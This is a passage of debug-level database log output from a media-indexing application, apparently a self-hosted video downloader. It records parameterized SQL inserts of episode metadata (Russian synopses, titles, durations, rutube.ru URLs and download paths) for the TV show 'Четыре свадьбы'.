(date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-08 17:00:17Z], 1] 14:36:16.572 [debug] QUERY OK source="media_items" db=24.7ms queue=0.1ms idle=204.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты из Казани, Москвы, Санкт-Петербурга и Новосибирска приглашают на свои мероприятия. У Регины будет русско-татарская свадьба. Анастасия выберет для своей свадьбы романтический стиль. Фишкой свадьбы Полины станет появление жениха и невесты. А Яна позовёт гостей на свою винную свадьбу. Чем удивят девушек торжества конкуренток, узнаем из программы «Четыре свадьбы».", "Русско-татарская свадьба VS Винная свадьба", "ef780505-15f1-4a32-a444-790ec7980dab", "fb8898b03e668dae82812283855280ce", 6321, false, "https://rutube.ru/video/fb8898b03e668dae82812283855280ce/", 64, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020800 - Русско-татарская свадьба VS Винная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-08 17:00:17Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Невесты из Казани, Москвы, Санкт-Петербурга и Новосибирска приглашают на свои мероприятия. У Регины будет русско-татарская свадьба. Анастасия выберет для своей свадьбы романтический стиль. Фишкой свадьбы Полины станет появление жениха и невесты. А Яна позовёт гостей на свою винную свадьбу. Чем удивят девушек торжества конкуренток, узнаем из программы «Четыре свадьбы».", "Русско-татарская свадьба VS Винная свадьба", "fb8898b03e668dae82812283855280ce", 6321, false, "https://rutube.ru/video/fb8898b03e668dae82812283855280ce/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020800 - Русско-татарская свадьба VS Винная свадьба.mp4", false, 1, ~U[2024-02-08 17:00:17Z]] 14:36:16.595 [debug] QUERY OK source="sources" db=22.0ms queue=0.7ms idle=126.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.608 [debug] QUERY OK source="media_items" db=9.2ms queue=2.9ms idle=59.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-15 17:02:16Z], 1] 14:36:16.642 [debug] QUERY OK source="media_items" db=32.1ms idle=69.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты побывают на свадьбах друг у друга и дадут оценку мероприятиям соперниц. Елена из Санкт-Петербурга позовёт гостей на свою свадьбу в лавандовых тонах. Анастасия из Санкт-Петербурга превратит свою свадьбу в кругосветное путешествие. У Лилии из Самары будет казахская свадьба. А фишкой торжества Елены из Чебоксар станет сюрприз для жениха от невесты. Как будут развлекаться девушки на мероприятия конкуренток, покажет программа «Четыре свадьбы».", "Свадьба на теплоходе VS Казахская свадьба", "b7ad09b0-0f88-4519-8139-feb63d213ddb", "46e13013ee68697329f696b41dc46dd6", 5895, false, "https://rutube.ru/video/46e13013ee68697329f696b41dc46dd6/", 65, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e021500 - Свадьба на теплоходе VS Казахская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-15 17:02:16Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Невесты побывают на свадьбах друг у друга и дадут оценку мероприятиям соперниц. Елена из Санкт-Петербурга позовёт гостей на свою свадьбу в лавандовых тонах. Анастасия из Санкт-Петербурга превратит свою свадьбу в кругосветное путешествие. У Лилии из Самары будет казахская свадьба. А фишкой торжества Елены из Чебоксар станет сюрприз для жениха от невесты. Как будут развлекаться девушки на мероприятия конкуренток, покажет программа «Четыре свадьбы».", "Свадьба на теплоходе VS Казахская свадьба", "46e13013ee68697329f696b41dc46dd6", 5895, false, "https://rutube.ru/video/46e13013ee68697329f696b41dc46dd6/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e021500 - Свадьба на теплоходе VS Казахская свадьба.mp4", false, 1, ~U[2024-02-15 17:02:16Z]] 14:36:16.651 [debug] QUERY OK source="sources" db=8.0ms queue=0.1ms idle=96.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.656 [debug] QUERY OK source="media_items" db=3.2ms queue=0.7ms idle=80.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-22 17:10:12Z], 1] 14:36:16.703 [debug] QUERY OK source="media_items" db=40.4ms queue=0.6ms idle=66.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чем выделятся новые участницы «Четырёх свадеб»? У Айгуль из Омска будет современная казахская свадьба. Виктория из Оренбурга решила удивить соперниц танцем молодых. Фишкой свадьбы Татьяны из Казани станет сюрприз от невесты. А Ирина из Омска порадует гостей своего мероприятия тортом от финалиста известного кондитерского шоу. Смотрите программу «Четыре свадьбы»!", "Современная казахская свадьба VS Романтическая свадьба", "1b498429-c6cd-4934-955b-672fdc87970d", "13ab637c1fed0d6ebb5f40f2fb69ff6b", 6390, false, "https://rutube.ru/video/13ab637c1fed0d6ebb5f40f2fb69ff6b/", 66, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022200 - Современная казахская свадьба VS Романтическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-22 17:10:12Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Чем выделятся новые участницы «Четырёх свадеб»? У Айгуль из Омска будет современная казахская свадьба. Виктория из Оренбурга решила удивить соперниц танцем молодых. Фишкой свадьбы Татьяны из Казани станет сюрприз от невесты. А Ирина из Омска порадует гостей своего мероприятия тортом от финалиста известного кондитерского шоу. Смотрите программу «Четыре свадьбы»!", "Современная казахская свадьба VS Романтическая свадьба", "13ab637c1fed0d6ebb5f40f2fb69ff6b", 6390, false, "https://rutube.ru/video/13ab637c1fed0d6ebb5f40f2fb69ff6b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022200 - Современная казахская свадьба VS Романтическая свадьба.mp4", false, 1, ~U[2024-02-22 17:10:12Z]] 14:36:16.706 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=96.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.710 [debug] QUERY OK source="media_items" db=2.9ms idle=66.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-29 17:20:10Z], 1] 14:36:16.731 [debug] QUERY OK source="media_items" db=20.4ms idle=59.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! У Анны из Вологды будет классическая свадьба, фишкой которой станет свадебный торт. Анастасия из Нижнего Новгорода устроит вечеринку в стиле «Гэтсби» и удивит гостей своим нарядом. Мероприятие Виктории из Твери пройдёт в стиле «аниме и котики». А Ксения из Томска заинтригует конкуренток оформлением банкетного зала фарфоровыми цветами. Какие оценки участницы поставят соперницам, покажет программа «Четыре свадьбы».", "Свадьба в стиле аниме VS Свадьба в стиле Гэтсби", "92713a65-46af-4d95-9c5d-2022477e8921", "21cd6f84db3a12f3f88c080c0fd4e2a0", 5901, false, "https://rutube.ru/video/21cd6f84db3a12f3f88c080c0fd4e2a0/", 67, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022900 - Свадьба в стиле аниме VS Свадьба в стиле Гэтсби.mp4", false, false, false, 1, [], 1, ~U[2024-02-29 17:20:10Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Свадебный марафон начинается! У Анны из Вологды будет классическая свадьба, фишкой которой станет свадебный торт. Анастасия из Нижнего Новгорода устроит вечеринку в стиле «Гэтсби» и удивит гостей своим нарядом. Мероприятие Виктории из Твери пройдёт в стиле «аниме и котики». А Ксения из Томска заинтригует конкуренток оформлением банкетного зала фарфоровыми цветами. Какие оценки участницы поставят соперницам, покажет программа «Четыре свадьбы».", "Свадьба в стиле аниме VS Свадьба в стиле Гэтсби", "21cd6f84db3a12f3f88c080c0fd4e2a0", 5901, false, "https://rutube.ru/video/21cd6f84db3a12f3f88c080c0fd4e2a0/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022900 - Свадьба в стиле аниме VS Свадьба в стиле Гэтсби.mp4", false, 1, ~U[2024-02-29 17:20:10Z]] 14:36:16.743 [debug] QUERY OK source="sources" db=11.8ms idle=75.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.746 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=40.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-07 20:40:13Z], 1] 14:36:16.769 [debug] QUERY OK source="media_items" db=21.0ms idle=41.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты ждут свои свадьбы и свадьбы соперниц. Эмилия из Казани устроит блогерскую вечеринку. У Александры из Петрозаводска будет молодёжная свадьба. Камила из Омска пригласит участниц на классическую свадьбу с казахским колоритом. А Яна из Кулебак пообещала показать на своём мероприятии традиции на новый лад. Какие сюрпризы подготовили невесты, увидим в программе «Четыре свадьбы».", "Блогерская свадьба VS Молодежная свадьба", "bdd2b849-5ce8-4788-8a04-31a0542db3db", "734531dfbc4d9c0fe874737e05da321a", 6338, false, "https://rutube.ru/video/734531dfbc4d9c0fe874737e05da321a/", 68, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e030700 - Блогерская свадьба VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-07 20:40:13Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "4 невесты ждут свои свадьбы и свадьбы соперниц. Эмилия из Казани устроит блогерскую вечеринку. У Александры из Петрозаводска будет молодёжная свадьба. Камила из Омска пригласит участниц на классическую свадьбу с казахским колоритом. А Яна из Кулебак пообещала показать на своём мероприятии традиции на новый лад. Какие сюрпризы подготовили невесты, увидим в программе «Четыре свадьбы».", "Блогерская свадьба VS Молодежная свадьба", "734531dfbc4d9c0fe874737e05da321a", 6338, false, "https://rutube.ru/video/734531dfbc4d9c0fe874737e05da321a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e030700 - Блогерская свадьба VS Молодежная свадьба.mp4", false, 1, ~U[2024-03-07 20:40:13Z]] 14:36:16.772 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=60.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.774 [debug] QUERY OK source="media_items" db=1.5ms idle=41.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-14 16:20:26Z], 1] 14:36:16.789 [debug] QUERY OK source="media_items" db=14.2ms idle=31.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какими будут новые 4 свадьбы? Фишкой свадьбы Марии из Оренбурга станет шоу от шеф-повара. Анастасия из Москвы устроит «пати в белом». На свадьбе Марины из Твери гостей будут развлекать огненным шоу. А свадьба Марины из Санкт-Петербурга отличится церемонией вручения наград. Все мероприятия покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Оскар", "08f214c4-e6c3-45ff-82d6-670f12afd29c", "729904945a5263c4f16283275bcc59e3", 6144, false, "https://rutube.ru/video/729904945a5263c4f16283275bcc59e3/", 69, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e031400 - Свадьба в стиле рустик VS Свадьба в стиле Оскар.mp4", false, false, false, 1, [], 1, ~U[2024-03-14 16:20:26Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Какими будут новые 4 свадьбы? Фишкой свадьбы Марии из Оренбурга станет шоу от шеф-повара. Анастасия из Москвы устроит «пати в белом». На свадьбе Марины из Твери гостей будут развлекать огненным шоу. А свадьба Марины из Санкт-Петербурга отличится церемонией вручения наград. Все мероприятия покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Оскар", "729904945a5263c4f16283275bcc59e3", 6144, false, "https://rutube.ru/video/729904945a5263c4f16283275bcc59e3/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e031400 - Свадьба в стиле рустик VS Свадьба в стиле Оскар.mp4", false, 1, ~U[2024-03-14 16:20:26Z]] 14:36:16.810 [debug] QUERY OK source="sources" db=19.7ms queue=0.1ms idle=44.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.811 [debug] QUERY OK source="media_items" db=1.2ms idle=41.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-21 17:10:15Z], 1] 14:36:16.832 [debug] QUERY OK source="media_items" db=19.1ms idle=39.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы приглашают на свои свадьбы. Фишкой свадьбы Карины из Саратова станет обряд снятия фаты. У Марины из Магнитогорска мероприятие пройдёт в немецком стиле. Татьяна из Санкт-Петербурга будет удивлять гостей коктейльным казино. А Люба из Москвы выберет для своей свадьбы оформление в красно-белых тонах. Кто победит в этом состязании невест, покажет программа «Четыре свадьбы».", "Современная классика VS Творческая свадьба", "bf95dfbe-b7a8-4f94-8ab5-20821da1a1e7", "03b6e9a2793f4115fef16fc51568690f", 6563, false, "https://rutube.ru/video/03b6e9a2793f4115fef16fc51568690f/", 70, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032100 - Современная классика VS Творческая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-21 17:10:15Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Участницы приглашают на свои свадьбы. Фишкой свадьбы Карины из Саратова станет обряд снятия фаты. У Марины из Магнитогорска мероприятие пройдёт в немецком стиле. Татьяна из Санкт-Петербурга будет удивлять гостей коктейльным казино. А Люба из Москвы выберет для своей свадьбы оформление в красно-белых тонах. Кто победит в этом состязании невест, покажет программа «Четыре свадьбы».", "Современная классика VS Творческая свадьба", "03b6e9a2793f4115fef16fc51568690f", 6563, false, "https://rutube.ru/video/03b6e9a2793f4115fef16fc51568690f/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032100 - Современная классика VS Творческая свадьба.mp4", false, 1, ~U[2024-03-21 17:10:15Z]] 14:36:16.835 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=57.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.836 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=46.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-28 17:30:19Z], 1] 14:36:16.874 [debug] QUERY OK source="media_items" db=36.7ms idle=26.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебное противостояние начинается! Фишкой классической свадьбы Екатерины из Энгельса станет торт-котик. В Сочи Любовь устроит эльфийскую свадьбу. У Виктории из Астрахани будет свадьба в чёрно-белых тонах. А в Волгограде пройдёт традиционная свадьба Александры с живой музыкой. Смотрите программу «Четыре свадьбы».", "Эльфийская свадьба VS Черно-белая свадьба", "121fb0a4-8557-4c58-8d14-43d70453b893", "068d4acef976c9cb6107b4acb2326a47", 5819, false, "https://rutube.ru/video/068d4acef976c9cb6107b4acb2326a47/", 71, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032800 - Эльфийская свадьба VS Черно-белая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-28 17:30:19Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Свадебное противостояние начинается! Фишкой классической свадьбы Екатерины из Энгельса станет торт-котик. В Сочи Любовь устроит эльфийскую свадьбу. У Виктории из Астрахани будет свадьба в чёрно-белых тонах. А в Волгограде пройдёт традиционная свадьба Александры с живой музыкой. Смотрите программу «Четыре свадьбы».", "Эльфийская свадьба VS Черно-белая свадьба", "068d4acef976c9cb6107b4acb2326a47", 5819, false, "https://rutube.ru/video/068d4acef976c9cb6107b4acb2326a47/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032800 - Эльфийская свадьба VS Черно-белая свадьба.mp4", false, 1, ~U[2024-03-28 17:30:19Z]] 14:36:16.877 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=62.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.879 [debug] QUERY OK source="media_items" db=1.3ms idle=46.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-04 12:10:13Z], 1] 14:36:16.901 [debug] QUERY OK source="media_items" db=20.8ms idle=45.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты побывают на свадьбах друг у друга. Ангелина из Рязани пригласит на свою свадьбу в стиле 90-х. Людмила из Воронежа добавит элементы античности в своё мероприятие. Фишкой свадьбы Ксении из Санкт-Петербурга станет танец для жениха. А Анна из Ярославля выберет для своей свадьбы стиль «вечеринка». Чьё торжество получит большее количество баллов от соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в античном стиле VS Свадьба в стиле 90-х", "9fe4cddf-4c27-496f-b852-5117a2a207ab", "d11bc60e4aa28558915bbee77ffe9b1b", 5860, false, "https://rutube.ru/video/d11bc60e4aa28558915bbee77ffe9b1b/", 72, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e040400 - Свадьба в античном стиле VS Свадьба в стиле 90-х.mp4", false, false, false, 1, [], 1, ~U[2024-04-04 12:10:13Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Четыре невесты побывают на свадьбах друг у друга. Ангелина из Рязани пригласит на свою свадьбу в стиле 90-х. Людмила из Воронежа добавит элементы античности в своё мероприятие. Фишкой свадьбы Ксении из Санкт-Петербурга станет танец для жениха. А Анна из Ярославля выберет для своей свадьбы стиль «вечеринка». Чьё торжество получит большее количество баллов от соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в античном стиле VS Свадьба в стиле 90-х", "d11bc60e4aa28558915bbee77ffe9b1b", 5860, false, "https://rutube.ru/video/d11bc60e4aa28558915bbee77ffe9b1b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e040400 - Свадьба в античном стиле VS Свадьба в стиле 90-х.mp4", false, 1, ~U[2024-04-04 12:10:13Z]] 14:36:16.918 [debug] QUERY OK source="sources" db=16.9ms queue=0.1ms idle=65.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.921 [debug] QUERY OK source="media_items" db=2.4ms idle=45.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-11 12:00:11Z], 1] 14:36:16.943 [debug] QUERY OK source="media_items" db=20.7ms idle=44.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты 